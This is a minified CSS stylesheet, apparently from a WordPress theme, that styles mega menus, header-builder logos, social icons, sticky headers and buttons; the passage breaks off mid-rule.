.penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(17),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(18),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(7),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(13),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(14),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(19),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(20),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(21){display:none}}@media only screen and (max-width:1499px) and (min-width:1170px){.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:20%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:25%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(4n+1),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(5n+1){clear:both}}@media only screen and (max-width:1499px){.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(5),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(10),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(9),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(13),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(14),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(15),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(6),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(11),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(12),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(16),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(17),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(18){display:none}}@media only screen and (max-width:1169px){.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:25%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:33.33333%}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(3n+1),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(4n+1){clear:both}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(4),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(7),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(8),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(10),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(11),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(12),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(5),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(10),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(9),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(13),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(14),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(15){display:none}}.navigation .penci-megamenu .penci-mega-thumbnail{display:block;margin:0 0 17px 0;position:relative}.navigation .penci-megamenu .penci-mega-thumbnail a{width:100%}.navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name{font-size:10px;background:var(--pcaccent-cl);text-transform:uppercase;position:absolute;display:inline-block;padding:0 6px;color:#fff;top:0;left:0;z-index:3;height:18px;font-weight:400;text-align:center;line-height:18px}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a{margin:0;padding:0;min-width:0;border-bottom:none;position:relative}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a{transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a:hover{opacity:.8}.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail .mega-cat-name a{font-size:inherit!important;font-family:inherit!important;font-weight:inherit!important;line-height:inherit!important;color:inherit!important;opacity:1;padding:0;margin:0;text-transform:none;letter-spacing:0}.navigation .penci-megamenu .penci-mega-thumbnail img{width:100%;height:auto}.navigation .penci-megamenu .post-mega-title{text-align:center;margin:0}.navigation .penci-megamenu .post-mega-title a{text-align:center}.navigation .penci-megamenu .penci-mega-date{line-height:1;font-size:12px;color:#999;text-align:center;margin-top:6px}.navigation ul.menu>li.megamenu{position:static}.navigation ul.menu>li.megamenu>ul.sub-menu{width:var(--pcctain);padding:15px 0;display:table;table-layout:fixed;background:#fff;left:0}.navigation ul.menu>li.megamenu>ul.sub-menu>li{min-width:200px;max-width:300px;display:table-cell;vertical-align:top;padding:0 5px;margin:0;position:relative}.navigation ul.menu>li.megamenu>ul.sub-menu>li:before{left:0;content:"";position:absolute;top:15px;bottom:15px;width:1px;display:block;background:#e0e0e0}.navigation ul.menu>li.megamenu>ul.sub-menu>li:first-child:before{content:none;display:none}.navigation ul.menu>li.megamenu>ul.sub-menu>li>a{margin:0 20px;border-bottom:1px solid #e0e0e0;display:none}.navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu{visibility:visible;opacity:1;transform:none;-webkit-transform:none;-moz-transform:none;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;position:static;border:none}.navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li,.navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li a{display:block}.navigation.menu-style-2 .menu>ul>li>a:before,.navigation.menu-style-2 ul.menu>li>a:before{content:none;display:none}.navigation .menu>ul.sub-menu>li.menu-item-has-children>a:after,.navigation .menu>ul.sub-menu>li.penci-mega-menu>a:after,.navigation ul.menu>li.menu-item-has-children>a:after,.navigation ul.menu>li.penci-mega-menu>a:after{font-family:FontAwesome;content:"\f107";margin-left:5px;color:inherit;font-size:13px;font-weight:400;width:auto;display:inline-block;vertical-align:top;line-height:inherit}.penci-fawesome-ver5 .navigation .menu>ul>li.menu-item-has-children>a:after,.penci-fawesome-ver5 .navigation .menu>ul>li.penci-mega-menu>a:after,.penci-fawesome-ver5 .navigation ul.menu>li.menu-item-has-children>a:after,.penci-fawesome-ver5 .navigation ul.menu>li.penci-mega-menu>a:after{font-family:"Font Awesome 5 Free";content:"\f107";font-weight:900}.navigation.menu-style-2 .menu .children,.navigation.menu-style-2 .menu .sub-menu{border-top:4px solid #e0e0e0;padding:8px 0}.navigation.menu-style-2 ul.menu ul.sub-menu:before{width:0;height:4px;top:-4px;position:absolute;background:var(--pcaccent-cl);left:0;-webkit-transition:width .4s cubic-bezier(.87,.02,.23,1);-webkit-transition:width .4s cubic-bezier(.87,.02,.23,1.005);-moz-transition:width .4s cubic-bezier(.87,.02,.23,1.005);-o-transition:width .5s cubic-bezier(.87,.02,.23,1.005);transition:width .5s cubic-bezier(.87,.02,.23,1.005);content:"";transition-delay:.3s;-webkit-transition-delay:.3s;-moz-transition-delay:.3s}.navigation.menu-style-2 .menu ul li:hover>ul.sub-menu:before,.navigation.menu-style-2 ul.menu li:hover>ul.sub-menu:before{width:100%}.navigation.menu-style-2 ul.menu ul.sub-menu a{padding:8px 0;border:none!important}.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts{padding:0}.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post{margin:0;position:relative;z-index:5}.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu.pcmis-1 .penci-mega-latest-posts .penci-mega-post{padding:0 0 15px}#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu:not(.pcmis-1) .penci-mega-latest-posts .penci-mega-post,.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu:not(.pcmis-1) .penci-mega-latest-posts .penci-mega-post{padding-top:15px;padding-bottom:15px}.navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail{position:relative;z-index:5}.navigation.menu-style-2 .penci-megamenu .penci-mega-meta{padding:0 5px}.navigation.menu-style-2 .penci-megamenu .post-mega-title{line-height:1}.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before{position:absolute;content:"";right:0;top:0;bottom:0;width:1px;background:#f1f1f2;z-index:1}.navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail .mega-cat-name{bottom:0;top:auto}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories{padding:12px 0}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after{background-color:#f1f1f2}.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a{min-width:0;display:block;text-align:left;line-height:1.4em;margin:0;padding:6px 0 6px 20px;position:relative;border:none;background-color:inherit;z-index:0}.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a{padding-top:20px;padding-bottom:20px}.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a{display:inline-block}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after{content:"";display:block;position:absolute;top:50%;margin-top:-.5px;-webkit-transition:width .4s ease-in-out;-o-transition:width .4s ease-in-out;transition:width .4s ease-in-out;border-bottom:1px solid;width:0;opacity:.3;left:20px;z-index:1;box-shadow:none;-webkit-box-shadow:none;color:inherit}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:hover:after{width:calc(100% + 20px)}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span{position:relative;z-index:2;background-color:inherit;padding-right:20px;display:inline-block}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before{content:"";background:#f1f1f2;width:24px;display:block;height:1px;margin:4px 0 17px;opacity:1;position:static;box-shadow:none;-webkit-box-shadow:none}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.all-style:before,.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-top a.all-style:before{display:none}.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:after{content:none;display:none}.navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu{padding:5px 0}.navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu:before{display:none;content:none}.penci-megamenu[data-number="1"]{min-height:279px}.penci-megamenu[data-number="2"]{min-height:558px}.penci-megamenu[data-number="3"]{min-height:837px}.penci-megamenu[data-style="3"]{min-height:190px}.penci-megamenu[data-style="3"][data-number="2"]{min-height:380px}.penci-megamenu[data-style="3"][data-number="3"]{min-height:570px}.penci-megamenu[data-style="4"]{min-height:130px}.penci-megamenu[data-style="4"][data-number="2"]{min-height:260px}.penci-megamenu[data-style="4"][data-number="3"]{min-height:390px}.penci-megamenu.loaded{min-height:unset}.penci-mega-default-width{min-width:var(--pcctain)}.penci-mega-default-width .container{width:100%}.navigation.menu-item-padding .menu>ul>li,.navigation.menu-item-padding ul.menu>li{margin:0}.navigation.menu-item-padding .menu>ul>li>a,.navigation.menu-item-padding ul.menu>li>a{padding:0 15px}.navigation.menu-item-padding .menu>li.current-menu-ancestor>a,.navigation.menu-item-padding .menu>li.current-menu-item>a,.navigation.menu-item-padding .menu>li.current_page_item>a,.navigation.menu-item-padding .menu>li:hover>a,.navigation.menu-item-padding .menu>li>a:hover{background-color:#ececec}.navigation.menu-item-padding .menu>ul>li>a:before,.navigation.menu-item-padding ul.menu>li>a:before{content:none;display:none}@media only screen and (min-width:961px){.is-sticky .navigation.menu-item-padding{height:58px;border:none!important}.navigation-sticky-wrapper:not(.is-sticky) .menu .children,.navigation-sticky-wrapper:not(.is-sticky) .menu .sub-menu{margin-top:-1px}}@-moz-document url-prefix(){.navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu:before{top:0}}.penci-header-image-logo,.penci-header-text-logo{--pchb-logo-title-size:40px;--pchb-logo-title-font:var(--pchead-font);--pchb-logo-title-fw:"400";--pchb-logo-title-fs:"normal";--pchb-logo-slogan-size:14px;--pchb-logo-slogan-font:"inherit";--pchb-logo-slogan-fw:"400";--pchb-logo-slogan-fs:"normal";--pchb-logo-title-color:"inherit";--pchb-logo-slogan-color:var(--pctext-cl)}.penci-header-text-logo .site-name{font-size:var(--pchb-logo-title-size);font-family:var(--pchb-logo-title-font);font-weight:var(--pchb-logo-title-fw);font-style:var(--pchb-logo-title-fs);color:var(--pchb-logo-title-color);line-height:1}.penci-header-image-logo .site-slogan,.penci-header-text-logo .site-slogan{font-size:var(--pchb-logo-slogan-size);font-family:var(--pchb-logo-slogan-font);font-weight:var(--pchb-logo-slogan-fw);font-style:var(--pchb-logo-slogan-fs);color:var(--pchb-logo-slogan-color);line-height:1.3;margin-top:12px}.penci_navbar_mobile .penci-header-text-logo{--pchb-m-logo-title-size:20px;--pchb-m-logo-title-m-size:20px;--pchb-m-logo-title-font:var(--pchead-font);--pchb-m-logo-title-fw:"400";--pchb-m-logo-title-fs:"normal";--pchb-m-logo-slogan-size:14px;--pchb-m-logo-slogan-m-size:14px;--pchb-m-logo-slogan-font:"inherit";--pchb-m-logo-slogan-fw:"400";--pchb-m-logo-slogan-fs:"normal";--pchb-m-logo-title-color:"inherit";--pchb-m-logo-slogan-color:"inherit"}.penci_navbar_mobile .penci-header-text-logo .site-name{font-size:var(--pchb-m-logo-title-size);font-family:var(--pchb-m-logo-title-font);font-weight:var(--pchb-m-logo-title-fw);font-style:var(--pchb-m-logo-title-fs);color:var(--pchb-m-logo-title-color);line-height:1}.penci_navbar_mobile .site-slogan{font-size:var(--pchb-m-logo-slogan-size);font-family:var(--pchb-m-logo-slogan-font);font-weight:var(--pchb-m-logo-slogan-fw);font-style:var(--pchb-m-logo-slogan-fs);color:var(--pchb-m-logo-slogan-color);line-height:1.3;margin-top:12px}.pc-logo-sticky{--pchb-logo-s-title-size:40px;--pchb-logo-s-title-font:var(--pchead-font);--pchb-logo-s-title-fw:"400";--pchb-logo-s-title-fs:"normal";--pchb-logo-s-slogan-size:14px;--pchb-logo-s-slogan-font:"inherit";--pchb-logo-s-slogan-fw:"400";--pchb-logo-s-slogan-fs:"normal";--pchb-logo-s-title-color:"inherit";--pchb-logo-s-slogan-color:"inherit"}.pc-logo-sticky.penci-header-text-logo .site-name{font-size:var(--pchb-logo-s-title-size);font-family:var(--pchb-logo-s-title-font);font-weight:var(--pchb-logo-s-title-fw);font-style:var(--pchb-logo-s-title-fs);color:var(--pchb-logo-s-title-color);line-height:1}.pc-logo-sticky.penci-header-image-logo .site-slogan,.pc-logo-sticky.penci-header-text-logo .site-slogan{font-size:var(--pchb-logo-s-slogan-size);font-family:var(--pchb-logo-s-slogan-font);font-weight:var(--pchb-logo-s-slogan-fw);font-style:var(--pchb-logo-s-slogan-fs);color:var(--pchb-logo-s-slogan-color);line-height:1.3;margin-top:12px}.pb-logo-sidebar-mobile{--pchb-logo-sm-title-size:40px;--pchb-logo-sm-title-font:var(--pchead-font);--pchb-logo-sm-title-fw:"400";--pchb-logo-sm-title-fs:"normal";--pchb-logo-sm-slogan-size:14px;--pchb-logo-sm-slogan-font:"inherit";--pchb-logo-sm-slogan-fw:"400";--pchb-logo-sm-slogan-fs:"normal";--pchb-logo-sm-title-color:"inherit";--pchb-logo-sm-slogan-color:"inherit"}.pb-logo-sidebar-mobile.penci-header-text-logo .site-name{font-size:var(--pchb-logo-sm-title-size);font-family:var(--pchb-logo-sm-title-font);font-weight:var(--pchb-logo-sm-title-fw);font-style:var(--pchb-logo-sm-title-fs);color:var(--pchb-logo-sm-title-color);line-height:1}.pb-logo-sidebar-mobile.penci-header-image-logo .site-slogan,.pb-logo-sidebar-mobile.penci-header-text-logo .site-slogan{font-size:var(--pchb-logo-sm-slogan-size);font-family:var(--pchb-logo-sm-slogan-font);font-weight:var(--pchb-logo-sm-slogan-fw);font-style:var(--pchb-logo-sm-slogan-fs);color:var(--pchb-logo-sm-slogan-color);line-height:1.3;margin-top:12px}.penci-builder-element.penci-data-time-format{white-space:nowrap}.penci-builder-element.header-social a i{width:var(--pchb-socialw);height:var(--pchb-socialw);line-height:calc(var(--pchb-socialw) - 2px);background:0 0;border:1px solid #e0e0e0;margin:0;display:inline-block;text-align:center;color:var(--pctext-cl)}.penci-builder-element.header-social.mobile-social a i{width:var(--pchb-m-socialw);height:var(--pchb-m-socialw);line-height:calc(var(--pchb-m-socialw) - 2px)}.penci-builder-element.header-social a:hover i{color:var(--pcaccent-cl)}.penci-builder-element.header-social a{margin-right:10px}body:not(.rtl) .penci-builder-element.header-social a:last-child{margin-right:0!important}.penci-builder-element.header-social .penci-social-colored a{transition:opacity .3s}.penci-builder-element.header-social .penci-social-colored a:hover{opacity:.85}.penci-builder-element.header-social .penci-social-colored a i{border:none!important;color:#fff!important;line-height:var(--pchb-socialw)}.penci-builder-element.header-social.mobile-social .penci-social-colored a i{border:none!important;color:#fff!important;line-height:var(--pchb-m-socialw)}.penci-builder-element.header-social .penci-social-simple a i{line-height:1;width:auto!important;height:auto!important;border-color:transparent!important;background-color:transparent!important}.penci-builder-element.header-social .penci-social-bordered a i{background-color:transparent}.penci-builder-element.header-social{margin-top:0}.penci-vertical-line{display:inline-block;width:1px;height:20px;background-color:var(--pcborder-cl)}.penci-builder-element.header-social .penci-social-circle a i{border-radius:50%}.pc-builder-element.pc-main-menu{--pchb-main-menu-font:var(--pchead-font);--pchb-main-menu-fs:12px;--pchb-main-menu-lh:58px;--pchb-main-menu-fs_l2:var(--pchb-main-menu-fs);--pchb-main-menu-cl:#313131;--pchb-main-menu-fw:bold;--pchb-main-menu-tt:uppercase;--pchb-main-menu-mg:30px;--pchb-main-menu-mgi:0;--pchb-mainm-linect:""}.pc-builder-element.pc-main-menu .navigation .menu ul.sub-menu li a,.pc-builder-element.pc-main-menu .navigation .menu>li>a{font-family:var(--pchb-main-menu-font);font-size:var(--pchb-main-menu-fs);font-weight:var(--pchb-main-menu-fw);color:var(--pchb-main-menu-cl);letter-spacing:0;text-transform:var(--pchb-main-menu-tt)}.pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item>a,.pc-builder-element.pc-main-menu .navigation .menu li>a:hover,.pc-builder-element.pc-main-menu .navigation .menu>li.current-menu-ancestor>a,.pc-builder-element.pc-main-menu .navigation .menu>li.current-menu-item>a,.pc-builder-element.pc-main-menu .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a{font-size:var(--pchb-main-menu-fs_l2)}.pc-builder-element.pc-main-menu .navigation .menu>ul>li,.pc-builder-element.pc-main-menu .navigation ul.menu>li{margin-right:var(--pchb-main-menu-mg)}.pc-builder-element.pc-main-menu .navigation ul.menu>li:last-child{margin-right:0}.pc-builder-element.pc-main-menu .navigation .menu>li>a{line-height:var(--pchb-main-menu-lh)}.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu>ul>li>a,.pc-builder-element.pc-main-menu .navigation.menu-item-padding ul.menu>li>a{padding-left:calc(var(--pchb-main-menu-mg)/ 2);padding-right:calc(var(--pchb-main-menu-mg)/ 2)}.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu>ul>li:not(:last-child),.pc-builder-element.pc-main-menu .navigation.menu-item-padding ul.menu>li:not(:last-child){margin-right:var(--pchb-main-menu-mgi)}.pc-builder-element.pc-second-menu{--pchb-second-menu-font:var(--pchead-font);--pchb-second-menu-fs:12px;--pchb-second-menu-lh:58px;--pchb-second-menu-fs_l2:var(--pchb-second-menu-fs);--pchb-second-menu-cl:#313131;--pchb-second-menu-fw:bold;--pchb-second-menu-tt:uppercase;--pchb-second-menu-mg:30px;--pchb-second-menu-mgi:0;--pchb-secondm-linect:""}.pc-builder-element.pc-second-menu .navigation .menu ul.sub-menu li a,.pc-builder-element.pc-second-menu .navigation .menu>li>a{font-family:var(--pchb-second-menu-font);font-size:var(--pchb-second-menu-fs);font-weight:var(--pchb-second-menu-fw);color:var(--pchb-second-menu-cl);text-transform:var(--pchb-second-menu-tt)}.pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item>a,.pc-builder-element.pc-second-menu .navigation .menu li>a:hover,.pc-builder-element.pc-second-menu .navigation .menu>li.current-menu-ancestor>a,.pc-builder-element.pc-second-menu .navigation .menu>li.current-menu-item>a,.pc-builder-element.pc-second-menu .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a{font-size:var(--pchb-second-menu-fs_l2)}.pc-builder-element.pc-second-menu .navigation .menu>ul>li,.pc-builder-element.pc-second-menu .navigation ul.menu>li{margin-right:var(--pchb-second-menu-mg)}.pc-builder-element.pc-second-menu .navigation .menu>ul>li:last-child,.pc-builder-element.pc-second-menu .navigation ul.menu>li:last-child{margin-right:0}.pc-builder-element.pc-second-menu .navigation .menu>li>a{line-height:var(--pchb-second-menu-lh)}.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu>ul>li>a,.pc-builder-element.pc-second-menu .navigation.menu-item-padding ul.menu>li>a{padding-left:calc(var(--pchb-second-menu-mg)/ 2);padding-right:calc(var(--pchb-second-menu-mg)/ 2)}.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu>ul>li:not(:last-child),.pc-builder-element.pc-second-menu .navigation.menu-item-padding ul.menu>li:not(:last-child){margin-right:var(--pchb-second-menu-mgi)}.pc-builder-element.pc-third-menu{--pchb-third-menu-font:var(--pchead-font);--pchb-third-menu-fs:12px;--pchb-third-menu-lh:58px;--pchb-third-menu-fs_l2:var(--pchb-third-menu-fs);--pchb-third-menu-cl:#313131;--pchb-third-menu-fw:bold;--pchb-third-menu-tt:uppercase;--pchb-third-menu-mg:30px;--pchb-third-menu-mgi:0;--pchb-thirdm-linect:""}.pc-builder-element.pc-third-menu .navigation .menu ul.sub-menu li a,.pc-builder-element.pc-third-menu .navigation .menu>li>a{font-family:var(--pchb-third-menu-font);font-size:var(--pchb-third-menu-fs);font-weight:var(--pchb-third-menu-fw);color:var(--pchb-third-menu-cl);text-transform:var(--pchb-third-menu-tt)}.pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item>a,.pc-builder-element.pc-third-menu .navigation .menu li>a:hover,.pc-builder-element.pc-third-menu .navigation .menu>li.current-menu-ancestor>a,.pc-builder-element.pc-third-menu .navigation .menu>li.current-menu-item>a,.pc-builder-element.pc-third-menu .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a{font-size:var(--pchb-third-menu-fs_l2)}.pc-builder-element.pc-third-menu .navigation .menu>ul>li,.pc-builder-element.pc-third-menu .navigation ul.menu>li{margin-right:var(--pchb-third-menu-mg)}.pc-builder-element.pc-third-menu .navigation .menu>ul>li:last-child,.pc-builder-element.pc-third-menu .navigation ul.menu>li:last-child{margin-right:0}.pc-builder-element.pc-third-menu .navigation .menu>li>a{line-height:var(--pchb-third-menu-lh)}.pc-builder-element.pc-builder-menu .pcremove-lineh ul.menu>li>a:before{content:none}.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu>ul>li>a,.pc-builder-element.pc-third-menu .navigation.menu-item-padding ul.menu>li>a{padding-left:calc(var(--pchb-third-menu-mg)/ 2);padding-right:calc(var(--pchb-third-menu-mg)/ 2)}.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu>ul>li:not(:last-child),.pc-builder-element.pc-third-menu .navigation.menu-item-padding ul.menu>li:not(:last-child){margin-right:var(--pchb-third-menu-mgi)}.penci-builder-element.penci-topbar-trending .penci-owl-carousel .swiper-slide{background-color:transparent}.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title{color:var(--pcheading-cl)}@keyframes Penci-FadeDown{from{transform:translate3d(0,-100%,0)}to{transform:none}}@keyframes Penci-FadeUp{from{transform:none}to{transform:translate3d(0,-100%,0)}}.penci_header.penci_builder_sticky_header_desktop{position:fixed;top:0;left:0;right:0;z-index:9998;opacity:0;visibility:hidden;transition:visibility .1s ease,opacity .1s ease,transform .3s ease;transform:translate3d(0,-100%,0);background-color:#fff;border-style:solid;border-width:0}.penci_header.main-builder-header{border-width:0}body.admin-bar .penci_header.penci_builder_sticky_header_desktop{top:32px}.penci_header.penci_builder_sticky_header_desktop.sticky-apply{opacity:1;visibility:visible;transform:translate3d(0,0,0)}.penci_header.main-builder-header.ns-apply .navigation .menu .penci-dropdown,.penci_header.main-builder-header.ns-apply .navigation .menu .sub-menu{display:none}.penci_navbar_mobile{background:var(--pcbg-cl)}.penci_navbar_mobile.mobile-overlap{position:absolute;top:0;right:0;left:0;z-index:9996;background:0 0}body.admin-bar .penci_navbar_mobile.mobile-overlap{top:46px}body.admin-bar .penci_navbar_mobile.mobile-overlap.mobile-sticky{top:0}.penci_header.penci_builder_sticky_header_desktop.sticky-apply.hide-scroll-down.scrolldown,.penci_navbar_mobile.mobile-sticky.hide-scroll-down,.penci_navbar_mobile.mobile-sticky.hide-scroll-down.scrolldown{opacity:0;visibility:hidden;transform:translate3d(0,-100%,0)}.penci_header.penci_builder_sticky_header_desktop.sticky-apply.hide-scroll-down.scrollup,.penci_navbar_mobile.mobile-sticky.hide-scroll-down.scrollup{opacity:1;visibility:visible;display:block;transform:translate3d(0,0,0)}.penci-header-image-logo img,.penci_builder_sticky_header_desktop .penci-header-image-logo img{width:auto;height:auto}.pc-builder-element .search-click,.pc-builder-element.penci-top-search .search-click{height:unset;line-height:unset;display:inline-block}.pc-elehdbd-search,.pchd-elcart{display:flex;min-height:1px}.pc-elehdbd-search.top-search-classes,.pchd-elcart .top-search-classes,.pchd-elcompare.top-search-classes,.pchd-elwishlist.top-search-classes{float:none}.pchd-elcart .top-search-classes,.pchd-elcart .top-search-classes a.cart-contents,.pchd-elcompare.top-search-classes>a,.pchd-elwishlist.top-search-classes>a{width:58px}.pchd-elcart a.cart-contents,.pchd-elcart.top-search-classes>a{line-height:unset;height:unset}@media only screen and (min-width:961px){.penci_navbar_mobile,.penci_navbar_mobile.mobile-sticky,.penci_navbar_mobile.mobile-sticky.hide-scroll-down.scrollup{display:none}}@media only screen and (max-width:960px){.penci_builder_sticky_header_desktop,.penci_header.penci-header-builder.main-builder-header,.penci_header.penci_builder_sticky_header_desktop,.penci_header.penci_builder_sticky_header_desktop.sticky-apply{display:none!important}}.penci_header.penci-header-builder.penci_header_overlap{position:absolute;top:0;right:0;left:0;z-index:9996}@media only screen and (max-width:479px){.penci_navbar_mobile .container{padding-left:10px;padding-right:10px}}.penci_navbar_mobile .navigation{border:0}.penci_navbar_mobile .navigation .button-menu-mobile{display:block}.penci-header-builder.shadow-enable,.penci_builder_sticky_header_desktop.shadow-enable,.penci_navbar_mobile.mobile-sticky.shadow-enable{box-shadow:0 1px 5px rgba(190,190,190,.46);-webkit-box-shadow:0 1px 5px rgba(190,190,190,.46);-moz-box-shadow:0 1px 5px rgba(190,190,190,.46);border-color:transparent;border-width:0}.penci-builder.penci-builder-button,[class^=pc-button-define-style-]{display:inline-block;transition:.3s all ease-in-out;border-style:solid;border-width:0}.pc-button-define-style-1,.penci-builder.penci-builder-button.button-define-style-1,.top-search-classes>.pc-button-define-style-1{padding:10px;border:2px solid var(--pcaccent-cl);color:var(--pcaccent-cl)}.penci-builder.penci-builder-button.button-define-style-1{padding:5px 